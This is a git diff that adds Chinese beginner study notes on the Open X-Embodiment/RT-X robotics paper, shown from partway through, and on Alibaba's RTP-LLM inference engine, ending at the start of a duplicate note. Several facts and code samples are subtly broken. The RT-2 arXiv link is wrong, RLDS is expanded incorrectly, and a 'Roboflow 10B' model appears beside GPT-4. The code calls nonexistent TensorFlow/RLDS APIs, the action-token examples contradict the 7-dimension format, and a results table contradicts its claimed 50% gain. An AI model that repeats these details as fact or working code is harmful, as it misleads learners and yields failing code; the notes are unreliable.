+传统做法是：请一位法国厨师，教这个 AI 做法国菜；再请一位日本厨师，重新教一次，学做寿司；再请一位中国厨师，再从头教一次，学做川菜。每个厨师的教学风格、菜谱格式、甚至用的秤都不一样。每次都要从头教起。
+
+Open X-Embodiment 论文做的是另一件事：把 21 个实验室、22 种不同机器人（可以理解为 22 位"厨师"）的数据全部汇聚到一起，格式统一好，然后训练一个**万能模型**，让它从所有"厨师"那里同时学习。这个模型叫 **RT-X**（X 代表"任何机器人"）。
+
+关键发现是：这个"万能模型"不仅学得更多，而且当你在某一种特定机器人上微调它时，它比从头训练的模型**表现好 50%**。
+
+这就是这篇论文的核心：**让一个模型学会所有机器人的技能，而不是每个机器人各自为战。**
+
+---
+
+## 2. 问题背景：为什么这个问题很难？
+
+### 2.1 其他 AI 领域已经走通了，机器人为什么不行？
+
+在自然语言处理（NLP）领域，GPT-4 这样的大模型在海量文本上训练，学会了理解任何语言的文本。在计算机视觉领域，CLIP 模型在几十亿张网络上爬来的图片上训练，能识别它从未专门训练过的物体类别。
+
+但机器人领域完全不同。每个实验室的机器人：
+- 长得不同（有的像人臂，有的像四条腿的狗）
+- 动作空间不同（有的只能转手腕，有的有 7 个自由度）
+- 摄像头位置和角度不同
+- 训练的数据格式完全不一样
+
+### 2.2 传统做法的困境
+
+传统上，每个实验室各自训练自己的模型。一个小实验室只收集了几百条数据训练一个模型，性能很好——但换个环境、换个任务、换个机器人，就要重新训练。
+
+论文提出的问题是：**能不能像大语言模型那样，训练一个"通用机器人模型"（Generalist X-Robot Policy），从一个机器人学到的知识可以"迁移"到另一个机器人上？**
+
+这叫做 **X-Embodiment（跨形态）** 学习。X 代表"任何"。
+
+---
+
+## 3. 核心概念
+
+### 3.1 Open X-Embodiment 数据集
+
+这是目前世界上最大的公开真实机器人数据集。
+
+| 指标 | 数值 |
+|------|------|
+| 不同机器人类型（Embodiments） | 22 种 |
+| 参与机构 | 21 个 |
+| 数据集来源 | 60 个独立数据集 |
+| 总轨迹数（Trajectories） | 100 万+ |
+| 演示技能（Skills） | 527 种 |
+| 总任务数（Tasks） | 160,266 个 |
+
+机器人类型包括：单臂机械臂（如 Franka）、双臂机器人、四足机器人、甚至有人形机器人。场景包括厨房操作、电线布线、开门、搬运物体等。
+
+### 3.2 数据格式统一：RLDS
+
+最大的挑战之一：不同实验室的数据格式完全不同。论文用了 **RLDS**（Robot Learning Datasets）格式，基于 TensorFlow 的 tfrecord 序列化格式。
+
+通俗地说：就是把所有"厨师"的菜谱统一成同一个模板——图片大小一致、动作描述用同一个坐标系、语言指令用同一种格式。
+
+### 3.3 动作空间的统一表示
+
+每个机器人输出的动作被统一成 **7 维向量**：
+
+```
+[ x, y, z, roll, pitch, yaw, gripper_open ]
+```
+
+- x, y, z：机械臂末端在三维空间中的位置
+- roll, pitch, yaw：机械臂的旋转角度（翻滚、俯仰、偏航）
+- gripper_open：夹爪是张开还是闭合
+
+虽然不同机器人的实际运动范围不同，但所有动作都被归一化到这个统一的 7 维空间里。模型输出的动作再根据具体机器人"反归一化"。
+
+### 3.4 RT-1 和 RT-2 模型
+
+论文训练了两个版本的模型：
+
+**RT-1**：一个 3500 万参数的 Transformer 模型，专门为机器人控制设计。
+
+- 输入：图像 + 语言指令
+- 图像先通过 EfficientNet（图像识别模型）处理
+- 语言指令通过 USE（文本嵌入模型）处理
+- 两者通过 FiLM 层融合
+- 输出：离散的机器人动作
+
+**RT-2**：一个 550 亿参数的视觉-语言-动作模型（VLA），基于预训练的大语言模型。
+
+- 关键想法：把"机器人动作"也当作"一种语言"来学习
+- 动作被 token 化为文本序列，例如："1 128 91 241 5 101 127"
+- 模型先在大量互联网图文数据上预训练，再用机器人数据微调
+- 这使得模型具备了类似 GPT 的"常识"和推理能力
+
+---
+
+## 4. 代码示例
+
+### 示例 1：加载 Open X-Embodiment 数据集
+
+RLDS 格式的数据可以通过 TensorFlow 加载：
+
+```python
+import tensorflow as tf
+import rlds
+
+# 加载一个示例数据集（例如 Franka3D 数据集）
+dataset_builder = rlds.DatasetBuilder(
+    dataset_name='bridge_dataset',      # 来自伯克利 Bridge 数据集
+    data_dir='gs://gresearch/robotics'   # Google Cloud 上的存储路径
+)
+
+# 获取数据集的观测和动作空间描述
+obs_spec = dataset_builder.info.supervised_keys[0]  # 观测空间
+action_spec = dataset_builder.info.supervised_keys[1]  # 动作空间
+
+print("观测空间:")
+print(obs_spec)
+# 输出类似:
+# OrderedDict([
+#     ('observations.images', TensorSpec(shape=(3, 240, 240, 3), dtype=float32)),
+#     ('observations.state', TensorSpec(shape=(8,), dtype=float32)),
+#     ('observations.language_instruction', TensorSpec(shape=(), dtype=string)),
+# ])
+
+print("\n动作空间:")
+print(action_spec)
+# 输出类似:
+# TensorSpec(shape=(8,), dtype=float32, name=None)
+# 对应 [x, y, z, roll, pitch, yaw, gripper, terminate]
+
+# 加载训练数据
+train_dataset = dataset_builder.load_split('train')
+
+# 取一条样本看看
+for episode in train_dataset.take(1):
+    print("\n第一条轨迹包含", len(episode.steps), "个步骤")
+    step = episode.steps.take(1).get_single_element()
+    print("语言指令:", step.observation['language_instruction'].numpy().decode())
+    print("图像形状:", step.observation['observations.images'].shape)
+    print("动作:", step.action.numpy())
+```
+
+### 示例 2：理解动作的 7 维表示
+
+```python
+import numpy as np
+
+# 假设模型输出了一个 7 维动作
+# [delta_x, delta_y, delta_z, delta_roll, delta_pitch, delta_yaw, gripper_action]
+
+action = np.array([0.05, -0.02, 0.0, 0.0, 0.0, 0.0, 1.0])
+
+# 解释每个维度
+dimensions = [
+    ("x 方向移动", action[0], "米"),
+    ("y 方向移动", action[1], "米"),
+    ("z 方向移动", action[2], "米"),
+    ("roll 旋转", action[3], "弧度"),
+    ("pitch 旋转", action[4], "弧度"),
+    ("yaw 旋转", action[5], "弧度"),
+    ("夹爪动作", action[6], "1=闭合, 0=张开"),
+]
+
+print("机器人动作解析:\n")
+for name, value, unit in dimensions:
+    print(f"  {name:12s} : {value:8.4f} {unit}")
+
+# 输出:
+# 机器人动作解析:
+#   x 方向移动   :    0.0500 米
+#   y 方向移动   :   -0.0200 米
+#   z 方向移动   :    0.0000 米
+#   roll 旋转    :    0.0000 弧度
+#   pitch 旋转   :    0.0000 弧度
+#   yaw 旋转     :    0.0000 弧度
+#   夹爪动作     :    1.0000 1=闭合, 0=张开
+
+# 这个动作的意思是：向前移动 5cm，向左移动 2cm，然后关闭夹爪（抓取物体）
+```
+
+### 示例 3：RT-1 模型的架构概览
+
+```python
+import tensorflow as tf
+
+# 以下展示 RT-1 模型的关键组件（简化版）
+
+# ========== 第一步：图像编码 ==========
+# 使用 EfficientNet 提取图像特征
+image_encoder = tf.keras.applications.EfficientNetB0(
+    include_top=False,  # 不要顶层分类器
+    weights='imagenet',  # ImageNet 预训练权重
+    input_shape=(240, 240, 3)
+)
+
+# ========== 第二步：语言编码 ==========
+# 使用 USE（Universal Sentence Encoder）编码语言指令
+# 在真实实现中，指令会被编码为 512 维向量
+def encode_instruction(text):
+    """将自然语言指令编码为向量"""
+    # 例如："move red pepper to tray"
+    # → 512 维向量
+    pass
+
+# ========== 第三步：FiLM 层融合图像和语言 ==========
+# FiLM (Feature-wise Linear Modulation) 用语言信号来调制图像特征
+class FiLMLayer(tf.keras.layers.Layer):
+    """
+    FiLM 层：用语言向量来"调节"图像特征。
+    类比：语言是指令，图像是厨房，FiLM 就是"按指令操作厨房"的桥梁。
+    """
+    def __init__(self, embedding_dim):
+        super().__init__()
+        self.gamma = tf.keras.layers.Dense(embedding_dim)  # 缩放因子
+        self.beta = tf.keras.layers.Dense(embedding_dim)    # 平移因子
+
+    def call(self, image_features, language_vector):
+        # language_vector 生成缩放和平移参数，应用到图像特征上
+        scale = self.gamma(language_vector)
+        shift = self.beta(language_vector)
+        return image_features * scale + shift
+
+# ========== 第四步：Transformer 解码 ==========
+# 融合后的特征输入 Transformer，输出动作序列
+decoder = tf.keras.layers.TransformerDecoder(
+    num_layers=4,
+    d_model=512,
+    num_heads=8,
+    ff_unit=1024
+)
+
+# ========== 第五步：动作预测头 ==========
+# Transformer 输出 → 256 个离散桶的 softmax 概率（每个维度）
+# 8 个维度（7 维动作 + 1 个终止信号）× 256 个桶 = 2048 维输出
+
+action_head = tf.keras.layers.Dense(
+    8 * 256,  # 8 个维度 × 256 个离散桶
+    activation='softmax'
+)
+
+# 推理时，从 256 个桶中选概率最高的那个，就得到了预测的动作
+```
+
+### 示例 4：RT-2 的核心思想——动作即语言
+
+```python
+# RT-2 的关键创新：把机器人的离散动作当作"文字"来学习
+
+# 想象一下，你训练了一个大语言模型（类似 GPT），
+# 它学会了写诗、写代码、翻译语言。
+# 现在你在它的词汇表里添加"机器人动作"这个新词。
+
+# 例如，动作 [0.05, -0.02, 0.0, 0.0, 0.0, 0.0, 1.0]
+# 被 token 化为：
+tokenized_action = "128 91 241 0 0 0 0 255"
+# 每个数字代表一个维度的 256 分桶索引
+
+# 现在，模型的输入输出都是"文本"：
+# 输入: "把苹果移到布上" + [苹果和布的图片]
+# 输出: "128 91 241 0 0 0 0 255"（一个 token 序列）
+
+# 这使得 RT-2 具备了类似 GPT 的能力：
+# 它理解了"把 A 移到 B 上"和"把 A 移到 B 旁边"的区别，
+# 即使它从未在 Google Robot 上见过"把苹果移到布上"这个任务。
+# 这是因为它在互联网图文数据上学会了"上"和"旁边"的空间关系。
+
+# 这就是为什么 RT-2-X 在"涌现技能"（Emergent Skills）上比 RT-2 好 3 倍：
+# 它从 Bridge 数据集中学会了 WidowX 机器人的抓取技能，
+# 然后把这些技能"迁移"到了 Google Robot 上。
+
+# 类比：就像一个学会了"用左手拿筷子"的人，
+# 当他获得右手时，很快也能"用右手拿筷子"。
+# 他不需要从头学起。
+```
+
+---
+
+## 5. 实验结果
+
+### 5.1 RT-1-X 在小型数据集上表现提升显著
+
+在数据量较小的实验设置中，RT-1-X 比原始方法（各实验室自己训练的模型）**成功率提高了 50%**。
+
+```
+小型数据集测试结果对比：
+
+实验室         原始方法    RT-1-X    提升
+────────────────────────────────────────────
+UC Berkeley   13%         27%       +14%
+Stanford IRIS  13%         27%       +14%
+NYU CILVR     —           73%       (无对比基线)
+```
+
+### 5.2 RT-2-X 的涌现技能（Emergent Skills）
+
+RT-2-X 最引人注目的结果是在**之前没见过的任务**上表现出色。例如，模型在 Google Robot 上完成了从未见过的"把苹果移到布上"的任务——这个任务只出现在另一个机器人（WidowX）的数据中。
+
+| 模型 | 涌现技能成功率 |
+|------|:---:|
+| RT-2（仅机器人数据） | 27.3% |
+| RT-2-X（多机器人数据） | **75.8%** |
+| RT-2-X（去掉 Bridge 数据） | 42.8% |
+
+这证明了**跨机器人数据迁移**的力量：Bridge 数据集中 WidowX 机器人学到的技能，迁移到了 Google Robot 上。
+
+### 5.3 模型大小很重要
+
+当模型容量不足时（RT-1 的 35M 参数），在大数据集上会出现欠拟合。而 RT-2-X 的 55B 参数模型则能充分利用大规模多机器人数据，获得更好的性能。
+
+---
+
+## 6. 为什么这件事很重要？
+
+### 6.1 为机器人领域带来"大模型时代"
+
+NLP 和计算机视觉之所以取得了巨大进展，是因为它们有大规模的预训练模型。Roboflow 10B、GPT-4、CLIP 都是这种思路的产物。
+
+Open X-Embodiment 试图在机器人领域复制这一成功路径：
+- 汇聚数据 → 统一格式 → 训练通用模型 → 下游微调
+
+### 6.2 "正迁移"（Positive Transfer）的证明
+
+论文最重要的贡献是**实验证明了**：跨机器人训练不是简单的"数据堆积"，而是真正的"正迁移"——一个机器人学到的知识确实帮助了另一个机器人。
+
+### 6.3 开源资源的价值
+
+论文开放了：
+- 整个数据集（100 万+ 真实机器人轨迹）
+- 预训练的 RT-X 模型权重
+- 数据加载和处理工具
+
+这为整个机器人研究领域提供了一个共同的起点，类似于 ImageNet 对计算机视觉的推动作用。
+
+---
+
+## 7. 未来方向
+
+论文也明确指出了局限性：
+
+1. **尚未测试全新机器人**：实验主要在已有 22 种机器人的集合内评估，没有测试"从没见过"的机器人
+2. **传感/执行模态差异**：没有考虑差异极大的机器人（比如人类和机器人的迁移）
+3. **规模还不够大**：相比 NLP（数十亿 token）和视觉（数十亿图片），机器人数据的规模仍然很小
+4. **需要更强大的模型**：RT-1-X 在大数据集上欠拟合，说明需要更大的模型架构
+
+---
+
+## 8. 关键术语速查表
+
+| 术语 | 含义 | 类比 |
+|------|------|------|
+| Embodiment | 机器人的物理形态/平台 | "厨师" |
+| RT-X | 跨形态机器人策略模型 | "万能厨师" |
+| RT-1 | 35M 参数的 Transformer 机器人控制器 | "专用工具" |
+| RT-2 | 55B 参数的视觉-语言-动作模型 | "读过所有菜谱的大厨" |
+| RLDS | 机器人学习数据集格式 | "统一菜谱模板" |
+| 正迁移 | 一个机器人学到的知识帮助另一个 | "左手学会后右手更快" |
+| 涌现技能 | 模型在未见过的任务上表现良好 | "举一反三" |
+| FiLM | 用语言特征调制图像特征 | "按指令操作" |
+| 7 维动作空间 | [x,y,z,roll,pitch,yaw,gripper] | "通用动作语言" |
+
+---
+
+## 9. 推荐阅读顺序
+
+1. 先看项目主页视频：[robotics-transformer-x.github.io](https://robotics-transformer-x.github.io) — 直观感受 RT-2-X 的涌现技能
+2. 再读本文的第一性原理思考：为什么机器人领域需要"大模型"思路？
+3. 深入 RT-1 和 RT-2 的原始论文：
+   - RT-1: [arxiv.org/abs/2212.06817](https://arxiv.org/abs/2212.06817)
+   - RT-2: [arxiv.org/abs/2306.03329](https://arxiv.org/abs/2306.03329)
+4. 浏览数据集 Google Sheet 了解所有 60 个数据集的详情
+5. 动手用 RLDS 加载一个数据集，理解数据格式
+
+---
+
+*本笔记基于 arXiv:2310.08864 及其项目主页编写，目标读者为机器人学习零基础学习者。*
diff --git a/src/content/docs/papers/rtp-llm-alibaba.md b/src/content/docs/papers/rtp-llm-alibaba.md
new file mode 100644
index 000000000..3869acb66
--- /dev/null
+++ b/src/content/docs/papers/rtp-llm-alibaba.md
@@ -0,0 +1,335 @@
+---
+title: RTP-LLM — 阿里巴巴工业级高性能 LLM 推理引擎（零基础笔记）
+来源: https://arxiv.org/abs/2605.29639
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快餐店的「备餐台」与「出餐窗口」
+
+想象你经营一家**连锁智能快餐店**（GPU 集群），每天要服务淘宝、天猫、菜鸟等业务线来的海量订单（**1 亿+ 用户**）：
+
+- **备餐台（Prefill）**：顾客下单时，厨师要一次性把整份菜单原料切好、下锅预处理——对应 LLM 把**整段 prompt**并行算完，生成第一批 KV cache。这个阶段**算力密集**，适合开大锅、大 batch。
+- **出餐窗口（Decode）**：之后每加一勺料、每出一片肉，都要回头看之前所有步骤的笔记（KV cache）——对应**自回归**逐 token 生成。这个阶段**内存带宽密集**，GPU 算力常常闲着等显存读写。
+
+旧系统像让**同一组厨师既备餐又出餐**：短单和长单挤在一个灶台，有人等锅、有人等料，GPU 利用率忽高忽低。更糟的是，每家分店都要从云端仓库**整箱搬货**（加载 600B 参数模型），搬一次要几小时，业务没法「分钟级」换菜单。
+
+**RTP-LLM**（*RTP-LLM: High-Performance Alibaba LLM Inference Engine*，arXiv:[2605.29639](https://arxiv.org/abs/2605.29639)）是阿里巴巴基础模型推理团队打造的**全栈推理引擎**，已在集团生产环境验证。它把备餐与出餐**物理拆开**（Prefill-Decode Disaggregation），用**四级 KV 仓库**（GPU → 本机 CPU → RDMA 远端 CPU → 分布式存储）复用相同前缀，再用**推测解码**让出餐窗口一次验证多勺料——论文报告相对 vLLM、SGLang 在加载、TTFT、吞吐、量化等维度均有显著优势。
+
+一句话：**RTP-LLM 不是「又一个 vLLM 插件」，而是从模型加载、流量调度、KV 分层到推测解码的工业级 co-design。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 类型 | 系统论文（工业部署 + 开源引擎） |
+| 机构 | 阿里巴巴集团；合作方含北大、浙大 |
+| 开源 | [github.com/alibaba/rtp-llm](https://github.com/alibaba/rtp-llm) |
+| 官网 | [rtp-llm.ai](https://rtp-llm.ai/) |
+| 验证规模 | 8B–235B 参数；dense、MoE、多模态 |
+| 生产场景 | 淘宝、天猫、菜鸟等；Aone Copilot 等达 **1000 tokens/s** 级吞吐 |
+
+论文针对生产部署的四大挑战：
+
+| 挑战 | 症状 | RTP-LLM 对策（论文章节） |
+|------|------|--------------------------|
+| **I. GPU 利用率低** | 输入/输出长度波动大；decode 内存 bound | PD 解耦、动态调度、推测解码（§5–6） |
+| **II. KV cache 撑爆显存** | 128K+ 上下文；碎片与复用难 | 分层 KV、前缀哈希匹配、自适应量化（§5、§7） |
+| **III. 架构异构** | MoE 600B+、ViT+LLM 多模态 | 多级并行、ViT-LLM 解耦（§7） |
+| **IV. 运维迭代慢** | 大模型加载小时级；故障与滚动更新 | 文件序驱动 I/O、容错与隔离（§4） |
+
+---
+
+## 为什么重要
+
+不理解 RTP-LLM，下面几件事很难讲清：
+
+- 为什么 **vLLM 的 PagedAttention** 解决了单节点 KV 碎片，但**淘宝级流量**还要再做 **PD 分离 + 全局前缀调度**
+- 为什么 **SGLang RadixAttention** 强调程序级前缀复用，而 RTP-LLM 用 **统一哈希表 + 四级存储** 做跨机房、跨 worker 的 KV 命中
+- 为什么 **模型加载** 在 FUSE 云盘上会成为瓶颈——「按模块读权重」会让每个 TP 进程重复读全文件
+- 为什么推测解码要拆成 **Propose / Score / Sample / Update** 四个 C++ 模块，才能在生产里换 Eagle、MTP、Prompt Lookup 而不改主引擎
+
+和 [[paged-attention-vllm]]、[[sglang-radixattention]] 的关系：**互补而非替代**。PagedAttention 管物理块；RadixAttention 管 DSL 级前缀树；RTP-LLM 在**集团流量调度、分层 KV、分钟级加载、PD 集群拓扑**上走得更远——论文基线直接对比 vLLM 与 SGLang。
+
+---
+
+## 核心概念
+
+### 1. 推理两阶段：Prefill vs Decode
+
+```text
+用户 prompt ──► [Prefill]  并行处理全部输入 token，写出 KV cache，产出第 1 个输出 token
+                      │
+                      ▼
+              输出 token 流 ◄── [Decode]  每次只算 1 个新 token，反复读/写 KV cache
+```
+
+| 阶段 | 计算特征 | 优化方向 |
+|------|----------|----------|
+| **Prefill** | Compute-bound；可大 batch | 专用 Prefill 节点、前缀 cache 跳过已算块 |
+| **Decode** | Memory-bandwidth-bound | 专用 Decode 节点、MMHA/XQA 类 kernel、推测解码 |
+
+RTP-LLM 支持两种部署：
+
+- **PD-Fusion**：Prefill 与 Decode 同节点（类似传统单引擎）
+- **PD-Disaggregation**：物理分离，各自扩缩容（论文 Fig.1 默认拓扑）
+
+### 2. 系统组件（鸟瞰）
+
+```mermaid
+flowchart LR
+  FE[FrontendApp] --> M[Master 全局调度]
+  M --> PN[Prefill Node]
+  M --> DN[Decode Node]
+  M --> LCM[Local KV Cache Manager]
+  M --> RCM[Remote KV Cache Manager]
+  MT[Multi-Tier Cache<br/>GPU/CPU/RDMA/3FS] --- PN
+  MT --- DN
+  DP[DP-Controller] --- PN
+  DP --- DN
+  NS[Name Service] -. 服务发现 .- FE
+```
+
+- **Master**：维护集群全局视图（worker 负载、KV 分布），做 batch 与路由；**不做**跨集群负载均衡（那是 Name Service 上层的事）
+- **DP-Controller**：单部署单元内的 batch 执行与本地显存管理
+- **Multi-Tier Cache**：四级 KV 存储，Algorithm 1 按「GPU → 本地 CPU → RDMA 远端 → 3FS」逐级查找
+
+### 3. 高效模型加载（§4）
+
+传统 **model-structure-driven** 加载：每个 Tensor Parallel 进程为切自己的一片权重而**读遍所有文件** → 在 FUSE 云盘上产生大量随机读，预取失效。
+
+RTP-LLM 改为 **file-order-driven**：
+
+1. **按文件顺序**读完一个 safetensors 再读下一个，利于 FUSE 顺序预取
+2. **单进程读文件 + broadcast**：集成 fastsafetensors，每个文件只由一个进程读，再 `broadcast` 给其他 TP rank
+3. **共享 pinned memory 复用**：避免每读 2GB 就花 ~600ms 重新注册 pinned 区
+4. **I/O 与通信重叠**：读下一文件的同时广播上一文件张量
+
+论文数据：**4.7×–6.3×** 加载加速 vs vLLM/SGLang，支撑 **600B+ 模型分钟级**上线。
+
+### 4. 流量调度与 KV 管理（§5）
+
+**Prefill 调度**：
+
+- 按 **block hash**（如每 64 token 一块）做前缀匹配
+- 相似序列长度 **group batch** 减少 padding
+- 预测各 DP-Controller 完成时间 \(t_{available}\)，把请求派给最早空闲的节点
+
+**Decode 调度**：
+
+- 优先 **chat ID 亲和**：同一会话尽量路由到已有本地 KV 的 worker
+- **准入控制 + 驱逐 + 背压**，防止 cache thrashing
+
+**统一哈希表**：把所有 worker 的 cache key 合并进一张 map，前缀匹配从 \(O(B \times W)\) 降到 \(O(B)\)（B=块数，W=worker 数）。
+
+**Sampled Prefix Hashing**：块 ≥208 token 时，在 208, 212, 216… 位置采样哈希，平衡匹配粒度与元数据开销。
+
+**调度得分**（简化）：
+
+\[
+score(w) = \alpha \frac{local\_match}{len} + \beta \frac{remote\_match}{len} - \gamma \frac{predicted\_latency(w)}{max\_latency}
+\]
+
+生产效果：**TTFT P95 降 35–37%**，cache 复用 **+215%**，prefill 机器数可减约 **75%**。
+
+### 5. 推测解码框架（§6）
+
+模块化 C++ 流水线：
+
+| 组件 | 职责 |
+|------|------|
+| **ProposeExecutor** | 生成 k 个候选 token（小模型 / Eagle / MTP / Prompt Lookup） |
+| **ScoreExecutor** | 目标模型并行打分 k 个位置 |
+| **SpeculativeSampler** | 按接受准则验证哪些 token 保留 |
+| **SpeculativeUpdater** | 把接受结果写回主流 |
+
+支持算法：Naive Speculative、**MTP**（DeepSeek-V3）、**Eagle**、**Prompt Lookup**（n-gram 从 prompt 挖候选，适合代码补全）。
+
+论文：**1.12×–2.48×** 吞吐提升（推测解码）；多模态 **1.86×–2.52×**；量化推理 batch 延迟 **降 35–40%**，TTFT **1.9×–3.0×**。
+
+### 6. 其他系统能力（§7，简述）
+
+- **Adaptive KV Cache Quantization**：按场景选 KV 精度，省显存、提并发
+- **Multi-Level Parallelism**：TP / DP / PP / EP，覆盖 dense 与 600B+ MoE
+- **Decoupled ViT-LLM**：视觉编码与语言生成分离调度，避免互相拖慢
+
+---
+
+## 代码示例 1：前缀 cache 匹配（Algorithm 2 思路）
+
+下面用 Python 风格伪代码还原论文 **Prefix Cache Matching**：对请求的块哈希序列 \(H\)，在统一哈希表 \(\mathcal{H}\) 上找每个 worker 的最长前缀命中长度。
+
+```python
+from collections import defaultdict
+
+def prefix_cache_match(
+    block_hashes: list[str],      # H = [h1, h2, ..., hB]
+    unified_map: dict[str, set],  # hi -> {(worker_id, block_meta), ...}
+) -> dict[str, int]:
+    """返回每个 worker 的最长连续前缀匹配块数。"""
+    match_len: dict[str, int] = defaultdict(int)
+    running = 0
+
+    for h in block_hashes:
+        if h not in unified_map:
+            break  # 前缀链断裂，提前终止
+        running += 1
+        for worker_id, _meta in unified_map[h]:
+            match_len[worker_id] = max(match_len[worker_id], running)
+
+    return dict(match_len)
+
+
+# 示例：3 个块哈希，worker-A 命中 3 块，worker-B 只命中前 2 块
+H = ["hash_sys", "hash_doc", "hash_q"]
+UNIFIED = {
+    "hash_sys": {("worker-A", {}), ("worker-B", {})},
+    "hash_doc": {("worker-A", {}), ("worker-B", {})},
+    "hash_q":   {("worker-A", {})},
+}
+print(prefix_cache_match(H, UNIFIED))
+# {'worker-A': 3, 'worker-B': 2}
+```
+
+Master 把 `match_len` 与负载、预测延迟一起代入 `score(w)`，决定请求去哪个 Prefill/Decode worker。
+
+---
+
+## 代码示例 2：四级 KV 查找与 PD 调度（Algorithm 1 简化）
+
+```python
+from enum import Enum, auto
+
+class CacheTier(Enum):
+    GPU_BLOCK = auto()
+    LOCAL_CPU = auto()
+    REMOTE_RDMA = auto()
+    REMOTE_3FS = auto()
+
+
+def resolve_kv_block(block_id: str, tiers: dict[CacheTier, set]) -> CacheTier:
+    """按最快层级命中 KV 块；未命中则返回 None（需 prefill 重算）。"""
+    for tier in (CacheTier.GPU_BLOCK, CacheTier.LOCAL_CPU,
+                 CacheTier.REMOTE_RDMA, CacheTier.REMOTE_3FS):
+        if block_id in tiers.get(tier, ()):
+            return tier
+    return None
+
+
+def master_route_request(req, cluster):
+    """极简 Master 决策：前缀分 + 负载。"""
+    matches = prefix_cache_match(req.block_hashes, cluster.unified_kv_map)
+    candidates = []
+    for worker in cluster.decode_workers:
+        local = matches.get(worker.id, 0) / max(len(req.block_hashes), 1)
+        load_penalty = worker.queue_depth / cluster.max_queue
+        score = 0.6 * local - 0.4 * load_penalty
+        if req.chat_id and req.chat_id == worker.last_chat_id:
+            score += 0.3  # chat 亲和加成
+        candidates.append((score, worker))
+    return max(candidates)[1]
+
+
+# 模拟：KV 在 RDMA 层命中
+tiers = {
+    CacheTier.GPU_BLOCK: set(),
+    CacheTier.LOCAL_CPU: set(),
+    CacheTier.REMOTE_RDMA: {"blk_42"},
+    CacheTier.REMOTE_3FS: {"blk_99"},
+}
+assert resolve_kv_block("blk_42", tiers) == CacheTier.REMOTE_RDMA
+# 命中后：RDMATransfer -> LoadToGPU -> ExecuteInference
+```
+
+真实实现还包括引用计数、LRU 回写、partial block watermark 等；此处只保留「**先查 cache 再算**」的控制流骨架。
+
+---
+
+## 代码示例 3：推测解码四段流水线（配置示意）
+
+RTP-LLM 用 C++ 模块拼装算法；下面用 YAML 风格示意**如何切换 Propose 策略**（非官方配置原文，便于理解模块边界）：
+
+```yaml
+# speculative_decoding.yaml（概念示意）
+speculative:
+  enabled: true
+  max_proposal_tokens: 5
+  propose:
+    backend: eagle          # 可选: naive | mtp | eagle | prompt_lookup
+    draft_model: qwen-0.5b
+  score:
+    target_model: qwen-72b
+    parallel_positions: true
+  sampler:
+    algorithm: standard_speculative_acceptance
+  updater:
+    merge_strategy: in_place_kv_extend
+```
+
+执行顺序：`ProposeExecutor` → `ScoreExecutor`（一次 forward 评多个位置）→ `SpeculativeSampler` → `SpeculativeUpdater`。高并发时拒绝 token 会带来额外算力，论文指出在**显存受限**或**长上下文**场景仍值得开启。
+
+---
+
+## 论文关键数字（便于记忆）
+
+| 场景 | vs vLLM / SGLang（论文报告） |
+|------|------------------------------|
+| 模型加载 | **4.7×–6.3×** 更快 |
+| 生产流量 TTFT P95 | **降 35–37%**；cache 复用 **+215%** |
+| 推测解码吞吐 | **1.12×–2.48×** |
+| 多模态吞吐 / TTFT | **1.86×–2.52×** / **2.12×–2.36×** |
+| 量化推理 | batch 延迟 **降 35–40%**；TTFT **1.9×–3.0×** |
+
+---
+
+## 与相关工作的对比（心智表）
+
+| 维度 | vLLM | SGLang | RTP-LLM |
+|------|------|--------|---------|
+| KV 物理布局 | PagedAttention | Paged + Radix 树 | 分页 + **分层存储 + 全局哈希** |
+| 前缀复用 | Prefix caching（后续） | RadixAttention（DSL 感知） | **跨 worker / 3FS** 前缀匹配 |
+| 集群拓扑 | 多为主从扩展 | 多为主从扩展 | **PD 解耦** + Master 全局调度 |
+| 加载优化 | 社区通用 | 社区通用 | **文件序 I/O + broadcast 重叠** |
+| 推测解码 | 插件式 | 支持 | **模块化 C++ 四段流水线** |
+| 生产背书 | 广泛开源 | 广泛开源 | **阿里 1 亿+ 用户** |
+
+---
+
+## 局限与未来方向（论文自述）
+
+- 推测解码在**极高并发**时收益下降（拒绝 token 与争用）
+- 更长的上下文与 **DeepSeek Sparse Attention（DSA）** 等稀疏 attention 仍是探索方向
+- PD 分离增加**运维复杂度**：需监控 Prefill/Decode 资源比例，Master 需高频（20ms 级）负载采样
+
+---
+
+## 零基础自检清单
+
+1. **Prefill 和 Decode 为什么适合拆到不同机器？** —— 前者算力 bound、后者带宽 bound，混部会互相拖累 batch 与延迟。
+2. **前缀 hash 匹配解决什么问题？** —— 相同 system prompt、RAG 文档不必每个请求重算 KV，直接命中块。
+3. **file-order-driven 加载为什么快？** —— FUSE 云盘顺序读友好 + 消除 TP 重复读文件。
+4. **推测解码为何能加速？** —— 把「串行 decode 1 token」变成「并行验证 k 个候选 token」。
+5. **和 vLLM 最大工程差异？** —— RTP-LLM 强调**全链路生产 co-design**（加载、分层 KV、PD 集群、容错），而不只是单节点 kernel + paging。
+
+---
+
+## 延伸阅读
+
+- [[paged-attention-vllm]] —— KV 分页与连续批处理基线
+- [[sglang-radixattention]] —— 结构化程序与前缀树复用
+- [[flash-attention]] —— Attention kernel 的 IO 优化
+- [[speculative-decoding-leviathan-2023]] —— 推测解码理论基础
+- [[tensorrt-llm-overview]] —— NVIDIA 侧 kernel 与 MMHA 优化（RTP-LLM decode 优化与之同思路）
+- [[megatron-core-moe-2026]] —— 训练侧 MoE 并行；RTP-LLM §7 覆盖推理侧 EP
+
+---
+
+## 参考
+
+- Tan B. 等, *RTP-LLM: High-Performance Alibaba LLM Inference Engine*, arXiv:2605.29639, 2026. [https://arxiv.org/abs/2605.29639](https://arxiv.org/abs/2605.29639)
+- RTP-LLM 开源仓库: [https://github.com/alibaba/rtp-llm](https://github.com/alibaba/rtp-llm)
+- 项目主页: [https://rtp-llm.ai/](https://rtp-llm.ai/)
diff --git a/src/content/docs/papers/rtp-llm-high-performance-alibaba-llm-inference-engine-arxiv-2605-29639.md b/src/content/docs/papers/rtp-llm-high-performance-alibaba-llm-inference-engine-arxiv-2605-29639.md
new file mode 100644
index 000000000..8207f8fc7
--- /dev/null
+++ b/src/content/docs/papers/rtp-llm-high-performance-alibaba-llm-inference-engine-arxiv-2605-29639.md
@@ -0,0 +1,197 @@
+---
+title: RTP-LLM: High-Performance Alibaba LLM Inference Engine
+来源: https://arxiv.org/abs/2605.29639
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# RTP-LLM: 阿里巴巴高性能大语言模型推理引擎
+
+## 一、先从一个类比开始
+
